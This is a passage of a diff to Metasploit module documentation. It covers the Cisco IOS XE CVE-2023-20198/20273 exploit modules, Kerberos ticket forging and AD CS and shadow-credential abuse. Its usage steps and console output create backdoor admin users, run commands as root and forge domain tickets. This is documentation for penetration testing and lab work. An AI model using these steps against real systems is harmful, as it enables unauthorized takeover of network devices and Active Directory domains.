16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
|
||||
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
|
||||
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
|
||||
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
|
||||
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
|
||||
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
|
||||
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
|
||||
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
|
||||
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
|
||||
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
|
||||
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
|
||||
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
|
||||
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
|
||||
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
|
||||
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
|
||||
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
|
||||
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
|
||||
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
|
||||
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
|
||||
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
Or
|
||||
|
||||
* Setup a virtualized environment.
|
||||
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
|
||||
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
|
||||
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
|
||||
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
|
||||
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
|
||||
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
|
||||
* Create a new CSR1000v instance as a QEMU device.
|
||||
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
|
||||
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
|
||||
be accessible to a remote attacker.
|
||||
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
|
||||
the device:
|
||||
```
|
||||
Router>enable
|
||||
Router#config
|
||||
Router(config)#ip http server
|
||||
router(config)#ip http secure-server
|
||||
router(config)#ip http authentication local
|
||||
router(config)#username admin privilege 15 secret qwerty
|
||||
router(config)#exit
|
||||
Router#copy running-config startup-config
|
||||
```
|
||||
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set CMD "username hax0r privilege 15 secret hax0r"`
|
||||
5. `set MODE global`
|
||||
6. `run`
|
||||
7. Visit `https://<TARGET_IP_ADDRESS>/webui/` in a browser and log in with username `hax0r` and password `hax0r`.
|
||||
|
||||
## Options
|
||||
|
||||
### CMD
|
||||
|
||||
The Cisco CLI command to execute.
|
||||
|
||||
### MODE
|
||||
Cisco IOS commands cna be executed in one of several modes, specifically "User EXEC" mode, "Privileged EXEC" mode, and
|
||||
"Global Configuration" mode. The `MODE` options lets you explicitly set what mode you want the `CMD` to execute in. Valid
|
||||
modes are `user`, `privileged`, and `global`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
|
||||
RHOST => 192.168.86.57
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "show version"
|
||||
CMD => show version
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set MODE privileged
|
||||
MODE => privileged
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CMD show version yes The CLI command to execute.
|
||||
MODE privileged yes The mode to execute the CLI command in, valid values are 'user', 'privileged', or 'global'.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
|
||||
[*] Running module against 192.168.86.57
|
||||
|
||||
|
||||
Cisco IOS XE Software, Version 16.12.03
|
||||
Cisco IOS Software [Gibraltar], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.12.3, RELEASE SOFTWARE (fc5)
|
||||
Technical Support: http://www.cisco.com/techsupport
|
||||
Copyright (c) 1986-2020 by Cisco Systems, Inc.
|
||||
Compiled Mon 09-Mar-20 21:50 by mcpre
|
||||
Cisco IOS-XE software, Copyright (c) 2005-2020 by cisco Systems, Inc.
|
||||
All rights reserved. Certain components of Cisco IOS-XE software are
|
||||
licensed under the GNU General Public License ("GPL") Version 2.0. The
|
||||
software code licensed under GPL Version 2.0 is free software that comes
|
||||
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
|
||||
GPL code under the terms of GPL Version 2.0. For more details, see the
|
||||
documentation or "License Notice" file accompanying the IOS-XE software,
|
||||
or the applicable URL provided on the flyer accompanying the IOS-XE
|
||||
software.
|
||||
ROM: IOS-XE ROMMON
|
||||
router uptime is 3 hours, 59 minutes
|
||||
Uptime for this control processor is 4 hours, 2 minutes
|
||||
System returned to ROM by reload
|
||||
System image file is "bootflash:packages.conf"
|
||||
Last reload reason: reload
|
||||
This product contains cryptographic features and is subject to United
|
||||
States and local country laws governing import, export, transfer and
|
||||
use. Delivery of Cisco cryptographic products does not imply
|
||||
third-party authority to import, export, distribute or use encryption.
|
||||
Importers, exporters, distributors and users are responsible for
|
||||
compliance with U.S. and local country laws. By using this product you
|
||||
agree to comply with applicable laws and regulations. If you are unable
|
||||
to comply with U.S. and local laws, return this product immediately.
|
||||
A summary of U.S. laws governing Cisco cryptographic products may be found at:
|
||||
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
|
||||
If you require further assistance please contact us by sending email to
|
||||
export@cisco.com.
|
||||
License Level: ax
|
||||
License Type: N/A(Smart License Enabled)
|
||||
Next reload license Level: ax
|
||||
Smart Licensing Status: UNREGISTERED/No Licenses in Use
|
||||
cisco CSR1000V (VXE) processor (revision VXE) with 1113574K/3075K bytes of memory.
|
||||
Processor board ID 9OVFUOGPESO
|
||||
4 Gigabit Ethernet interfaces
|
||||
32768K bytes of non-volatile configuration memory.
|
||||
3012164K bytes of physical memory.
|
||||
6188032K bytes of virtual hard disk at bootflash:.
|
||||
0K bytes of WebUI ODM Files at webui:.
|
||||
Configuration register is 0x2102
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="show clock"
|
||||
[*] Running module against 192.168.86.57
|
||||
|
||||
|
||||
*15:24:05.110 UTC Fri Nov 3 2023
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
|
||||
```
|
||||
@@ -0,0 +1,130 @@
|
||||
## Vulnerable Application
|
||||
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
|
||||
devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.
|
||||
|
||||
This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,
|
||||
CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read
|
||||
back via the webserver. Finally the output file is deleted and the admin user is removed.
|
||||
|
||||
The vulnerable IOS XE versions are:
|
||||
|
||||
16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
|
||||
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
|
||||
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
|
||||
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
|
||||
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
|
||||
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
|
||||
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
|
||||
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
|
||||
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
|
||||
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
|
||||
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
|
||||
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
|
||||
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
|
||||
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
|
||||
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
|
||||
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
|
||||
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
|
||||
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
|
||||
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
|
||||
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
|
||||
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
|
||||
17.11.99SW
|
||||
|
||||
## Testing
|
||||
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:
|
||||
|
||||
* Acquire a hardware device running one of the vulnerable firmware versions listed above.
|
||||
|
||||
Or
|
||||
|
||||
* Setup a virtualized environment.
|
||||
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
|
||||
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the
|
||||
[Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the
|
||||
[topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used.
|
||||
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
|
||||
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
|
||||
* Create a new CSR1000v instance as a QEMU device.
|
||||
* The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged
|
||||
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
|
||||
be accessible to a remote attacker.
|
||||
* When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on
|
||||
the device:
|
||||
```
|
||||
Router>enable
|
||||
Router#config
|
||||
Router(config)#ip http server
|
||||
router(config)#ip http secure-server
|
||||
router(config)#ip http authentication local
|
||||
router(config)#username admin privilege 15 secret qwerty
|
||||
router(config)#exit
|
||||
Router#copy running-config startup-config
|
||||
```
|
||||
* You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set CMD "id"`
|
||||
5. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### CMD
|
||||
A Linux OS command to execute on the target device, e.g. `id`
|
||||
|
||||
### CISCO_ADMIN_USERNAME
|
||||
The username of an admin account. If not set, CVE-2023-20198 is leveraged to first create a new admin account and then
|
||||
the new account is then removed after the module completes.
|
||||
|
||||
### CISCO_ADMIN_PASSWORD
|
||||
The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password.
|
||||
|
||||
### REMOVE_OUTPUT_TIMEOUT
|
||||
The maximum timeout (in seconds) to wait when trying to removing the commands output file. The output file
|
||||
can be locked preventing deleting upon the first attempt, so the module will try again if needed.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
CISCO_ADMIN_PASSWORD no The password of an admin account. If not set, CVE-2023-20198 is leveraged to c
|
||||
reate a new admin password.
|
||||
CISCO_ADMIN_USERNAME no The username of an admin account. If not set, CVE-2023-20198 is leveraged to c
|
||||
reate a new admin account.
|
||||
CMD id yes The OS command to execute.
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands
|
||||
output file.
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
|
||||
rhosts => 10.5.135.193
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
|
||||
[*] Running module against 10.5.135.193
|
||||
|
||||
[*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw'
|
||||
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0
|
||||
|
||||
[*] Removing output file '/var/www/fNrmuBOf'
|
||||
[*] Removing user 'rfojGrqA'
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) >
|
||||
```
|
||||
File diff suppressed because one or more lines are too long
@@ -1,6 +1,6 @@
|
||||
## Kerberos Ticket Forging (Golden/Silver tickets)
|
||||
|
||||
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden or silver ticket.
|
||||
The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden, silver, diamond or sapphire ticket.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
@@ -12,6 +12,8 @@ There are two kind of actions the module can run:
|
||||
|
||||
1. **FORGE_SILVER** - Forge a Silver ticket - forging a service ticket. [Default]
|
||||
2. **FORGE_GOLDEN** - Forge a Golden ticket - forging a ticket granting ticket.
|
||||
3. **FORGE_DIAMOND** - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user.
|
||||
4. **FORGE_SAPPHIRE** - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick.
|
||||
|
||||
## Pre-Verification steps
|
||||
|
||||
@@ -199,6 +201,39 @@ export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_k
|
||||
python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass
|
||||
```
|
||||
|
||||
### Forging Diamond ticket
|
||||
|
||||
A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by:
|
||||
|
||||
- Performing an AS-REQ request to retrieve a TGT for any user
|
||||
- Using the krbtgt hash to decrypt the real ticket
|
||||
- Setting properties of the forged PAC to mirror those in the valid TGT
|
||||
- Encrypting the forged ticket with the krbtgt hash
|
||||
|
||||
The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain.
|
||||
The `DOMAIN_SID` property is not required, as this is retrieved from the valid TGT.
|
||||
|
||||
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
|
||||
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
|
||||
|
||||
### Forging Sapphire ticket
|
||||
|
||||
A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However,
|
||||
instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably
|
||||
high-privilege) user:
|
||||
|
||||
- Authenticating to the KDC
|
||||
- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user's PAC would look like, but the ticket is unusable in high-privilege contexts)
|
||||
- Decrypt this information
|
||||
- Setting properties of the forged PAC to mirror those in the valid TGT
|
||||
- Encrypting the forged ticket with the krbtgt hash
|
||||
|
||||
The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain.
|
||||
The `DOMAIN_SID` and `DOMAIN_RID` properties are not required, as this is retrieved from the valid TGT.
|
||||
|
||||
To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain
|
||||
(i.e. `RHOST`, `USERNAME` and `PASSWORD`).
|
||||
|
||||
### Common Mistakes
|
||||
|
||||
**Invalid hostname**
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
## RBCD Exploitation
|
||||
## AD CS Certificate Template Exploitation
|
||||
|
||||
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
|
||||
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
|
||||
the CREATE or UPDATE actions.
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
|
||||
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
|
||||
file to be specified to define the attributes. Template data files are provided to create a template that is
|
||||
vulnerable to ESC1, ESC2, and ESC3.
|
||||
|
||||
This module is capable of exploiting ESC4.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
|
||||
necessary permissions to perform the specified action on the target object (the certificate specified in
|
||||
|
||||
@@ -160,7 +160,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
|
||||
```
|
||||
|
||||
Now use the RBCD module to read the the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set USERNAME sandy@msflab.local
|
||||
|
||||
@@ -0,0 +1,264 @@
|
||||
## Shadow Credentials Exploitation
|
||||
|
||||
If an account has the ability to write to the `msDS-KeyCredentialLink` attribute against a target, this can be abused for privilege escalation.
|
||||
This situation exists when a user contains the `GenericWrite` permission over another account. In addition, by default, Computer accounts have
|
||||
the ability to write their own value (whereas user accounts do not).
|
||||
|
||||
The `auxiliary/admin/ldap/shadow_credentials` module can be used to read and write the `msDS-KeyCredentialLink` LDAP attribute against a target.
|
||||
When writing, the module will append a KeyCredential blob to this LDAP attribute, and write a certificate file (`pfx`) to disk. This `pfx` file
|
||||
can then be used to authenticate as the account using PKINIT (the `auxiliary/admin/kerberos/get_ticket` module), as long as Certificate Services
|
||||
are enabled within the domain.
|
||||
|
||||
## Lab setup
|
||||
|
||||
Set up a domain with AD CS configured.
|
||||
|
||||
For the Shadow Credentials attack to work, an Active Directory account (e.g. `sandy`) is required with write privileges to the target account (i.e. `victim`).
|
||||
Alternatively, Computer accounts should be able to modify this value for their own account, with some limitations (described below).
|
||||
|
||||
From an admin powershell prompt, first create a new Active Directory account, `sandy`, in your Active Directory environment:
|
||||
|
||||
```powershell
|
||||
# Create a basic user account
|
||||
net user /add sandy Password1!
|
||||
|
||||
# Mark the sandy and password as never expiring, to ensure the lab setup still works in the future
|
||||
net user sandy /expires:never
|
||||
Set-AdUser -Identity sandy -PasswordNeverExpires:$true
|
||||
```
|
||||
|
||||
Grant Write privileges for sandy to the target account, i.e. `victim`:
|
||||
|
||||
```powershell
|
||||
# Remember to change victim to the name of your target user
|
||||
$TargetUser = Get-ADUser 'victim'
|
||||
$User = Get-ADUser 'sandy'
|
||||
|
||||
# Add GenericWrite access to the user against the target computer
|
||||
$Rights = [System.DirectoryServices.ActiveDirectoryRights] "GenericWrite"
|
||||
$ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
|
||||
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
|
||||
$GenericWriteAce = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $User.Sid,$Rights,$ControlType,$InheritanceType
|
||||
$TargetUserAcl = Get-Acl "AD:$($TargetUser.DistinguishedName)"
|
||||
$TargetUserAcl.AddAccessRule($GenericWriteAce)
|
||||
Set-Acl -AclObject $TargetUserAcl -Path "AD:$($TargetUser.DistinguishedName)"
|
||||
```
|
||||
|
||||
Finally Verify the Write privileges for the sandy account:
|
||||
|
||||
```powershell
|
||||
PS C:\Users\administrator> $TargetUser = Get-ADUser 'victim'
|
||||
PS C:\Users\administrator> (Get-ACL "AD:$($TargetUser.DistinguishedName)").Access| Where-Object { $_.IdentityReference -Match 'sandy' }
|
||||
|
||||
ActiveDirectoryRights : GenericWrite
|
||||
InheritanceType : All
|
||||
ObjectType : 00000000-0000-0000-0000-000000000000
|
||||
InheritedObjectType : 00000000-0000-0000-0000-000000000000
|
||||
ObjectFlags : None
|
||||
AccessControlType : Allow
|
||||
IdentityReference : MSFLAB\sandy
|
||||
IsInherited : False
|
||||
InheritanceFlags : ContainerInherit
|
||||
PropagationFlags : None
|
||||
```
|
||||
|
||||
## Module usage
|
||||
1. `use auxiliary/admin/ldap/shadow_credentials`
|
||||
2. Set the `RHOST` value to a target domain controller
|
||||
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
|
||||
4. Set the `TARGET_USER` to the victim account
|
||||
5. Use the `ADD` action to add a credential entry to the victim account
|
||||
|
||||
See the Scenarios for a more detailed walk through
|
||||
|
||||
## Actions
|
||||
|
||||
### FLUSH
|
||||
Delete *all* credential entries. Unlike the REMOVE action, this deletes the entire property instead of just
|
||||
the matching device IDs. Use with caution, as any existing entries may be relied upon by legitimate users.
|
||||
|
||||
### LIST
|
||||
Read the credential entries and print the Device (Certificate) IDs of currently configured entries
|
||||
|
||||
### REMOVE
|
||||
Remove matching certificates from the `msDS-KeyCredentialLink` property. Unlike the FLUSH action, this only removes the matching Device (Certificate) ID
|
||||
instead of deleting the entire property.
|
||||
|
||||
### ADD
|
||||
Add a certificate entry to the `msDS-KeyCredentialLink` property. The new entry will be appended to the end of the existing set of values.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGET_USER
|
||||
The user (or computer) account being targeted. This is the object whose Key Credential property is the target of the ACTION
|
||||
(read, write, etc.). The authenticated user must have the appropriate access to this object.
|
||||
|
||||
### DEVICE_ID
|
||||
The certificate ID to delete when using the `REMOVE` action. You can retrieve Certificate IDs for a user account by using the `LIST` action.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Window Server 2022 Domain Controller, Targeting user account
|
||||
|
||||
In the following example the user `MSF\sandy` has write access to the user account `victim`. We will start the attack using the `admin/ldap/shadow_credentials` module.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > show options
|
||||
|
||||
Module options (auxiliary/admin/ldap/shadow_credentials):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
TARGET_USER yes The target to write to
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
When ACTION is REMOVE:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DEVICE_ID no The specific certificate ID to operate on
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
LIST Read all credentials associated with the account
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
|
||||
rhosts => 20.92.148.129
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
|
||||
domain => MSF.LOCAL
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
|
||||
username => sandy
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
|
||||
password => Password1!
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
|
||||
target_user => victim
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
|
||||
action => add
|
||||
msf6 auxiliary(admin/ldap/shadow_credentials) > run
|
||||
[*] Running module against 20.92.148.129
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 20.92.148.129:389 Discovered base DN: DC=msf,DC=local
|
||||
[*] Certificate stored at: /home/user/.msf4/loot/20240404115740_default_20.92.148.129_windows.ad.cs_300384.pfx
|
||||
